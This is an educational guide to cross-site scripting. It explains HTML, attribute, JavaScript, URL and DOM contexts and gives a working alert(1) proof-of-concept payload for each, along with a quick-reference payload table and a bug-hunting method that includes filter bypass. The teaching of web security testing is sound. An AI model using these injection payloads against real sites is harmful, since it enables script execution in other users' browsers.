

Deep Notes on XSS Payloads, Contexts, and Exploitation

This guide explains Cross-Site Scripting (XSS) payloads in detail, including: - Why payloads work - Different XSS contexts - Payload structures - Attribute breakouts - DOM-based XSS - Event handlers - Real bug hunting methodology - Common mistakes - Payload selection logic

1. What is XSS?

XSS (Cross-Site Scripting) happens when attacker-controlled input is executed as JavaScript in another user's browser.

Main Types:

1. Reflected XSS
2. Stored XSS
3. DOM-based XSS

Goal of payloads:

Escape the current context and enter executable JavaScript context.

2. Understanding Contexts

The most important XSS skill is understanding reflection context.

There is NO universal payload.

Payload depends on where the input appears:

- HTML body
- HTML attribute
- JavaScript string
- URL
- DOM sink

Professional hunters first identify context, then craft payload.

3. HTML Context

Example reflection:

```
<div>USER_INPUT</div>
```

In HTML context, browser interprets HTML tags directly.

Common payloads:

```
<svg onload=alert(1)>
<img src=x onerror=alert(1)>
```

Why they work:

- Browser creates HTML element
- Event handler executes JavaScript
- No breakout needed

Why SVG is popular:

- Small payload
- Auto-triggered
- Works in many browsers
- Bypasses filters often

4. Attribute Context

Example reflection:

```
<input value="USER_INPUT">
```

or

```
<input value='USER_INPUT'>
```

Now your input is trapped inside quotes.

You must:

1. Close quote
2. Add new attribute OR new tag
3. Trigger JavaScript

Double quote payload:

```
" onmouseover="alert(1)
```

Single quote payload:

```
' onmouseover='alert(1)
```

Breakout payload:

```
"><svg onload=alert(1)>
```

Why it works:

- " closes current attribute
- New attribute injected
- Event handler executes JavaScript

5. JavaScript Context

Example reflection:

```
<script>  
var x = "USER_INPUT";  
</script>
```

HTML payloads fail here.

Need JavaScript breakout payload.

Payload:

```
";alert(1);//
```

Why it works:

- Closes string
- Injects JavaScript
- Comments remaining code

Final result:

```
var x = "";alert(1);//";
```

6. URL Context

Example reflection:

```
<a href="USER_INPUT">
```

Payload:

```
javascript:alert(1)
```

Why it works:

Browser interprets href as URL.
javascript: protocol executes JS instead of navigation.

7. DOM-based XSS

DOM XSS happens when JavaScript reads attacker-controlled input and writes it into dangerous DOM sinks.

Common Sources:

- location.search
- location.hash
- document.URL
- window.name

Common Sinks:

- innerHTML
- document.write
- eval
- outerHTML

Example:

```
document.body.innerHTML = location.hash;
```

Payload:

```
#<svg onload=alert(1)>
```

Flow:

Source -> Sink -> Execution

8. Event Handlers

Common event handlers:

```
onload
onerror
onclick
onmouseover
onfocus
onmouseenter
```

Auto-triggered events:

- onload
- onerror
- autofocus + onfocus

User interaction events:

- onclick
- onmouseover

Important in labs:

Victim bots usually require auto-triggered payloads.

9. Why Some Payloads Fail

Reasons:

- HTML encoding
- Quotes encoded
- Wrong context
- CSP restrictions
- Browser parsing
- Sanitization
- Wrong quote type

Example:

If reflection uses single quotes:
value='INPUT'

Then:

```
" onmouseover="alert(1)
fails.
```

Correct:
' onmouseover='alert(1)

10. HTML Encoding

Applications may encode:
< as <
> as >

This blocks HTML tag injection.

But sometimes quotes remain unencoded.

Then attribute injection is still possible.

Example:
' autofocus onfocus='alert(1)

11. Payload Selection Logic

Always ask:

1. Where is my input reflected?
2. How will browser interpret it?

Reflection Examples:

```
<div>INPUT</div>  
-> HTML context  
-> Use tag payloads
```

```
value="INPUT"  
-> Attribute context  
-> Use attribute breakout
```

```
var x="INPUT"  
-> JavaScript context  
-> Use JS breakout payloads
```

12. Common Beginner Payloads

HTML Context:
<svg onload=alert(1)>

Attribute Context:
" onmouseover="alert(1)
' onmouseover='alert(1)

JavaScript Context:
";alert(1);//

URL Context:
javascript:alert(1)

DOM XSS:
#<svg onload=alert(1)>

13. Real Bug Hunting Methodology

1. Find reflection
2. Inspect HTML
3. Identify context

4. Test harmless payload
5. Try event handler
6. Escalate to JS execution
7. Bypass filters
8. Confirm exploitability

Tools:

- Browser DevTools
- Burp Suite
- DOM Invader

14. Important Notes

- Do not memorize hundreds of payloads.
- Understand browser parsing.
- Understand contexts.
- Learn how HTML and JavaScript work.
- Payloads are just ways to escape contexts.

Most professional hunters use a small set of payloads repeatedly.

15. Quick Reference Table

Context	Reflection Example	Payload
HTML	INPUT	<svg onload=alert(1)>
Attribute	value="INPUT"	" onmouseover="alert(1)
Attribute	value='INPUT'	' onmouseover='alert(1)
JavaScript	var x="INPUT"	";alert(1);//
URL	href="INPUT"	javascript:alert(1)

Final Advice: Focus more on understanding contexts than memorizing payloads. The core of XSS is: Escape current context -> Enter executable JavaScript context. Practice consistently on PortSwigger Web Security Academy and TryHackMe labs.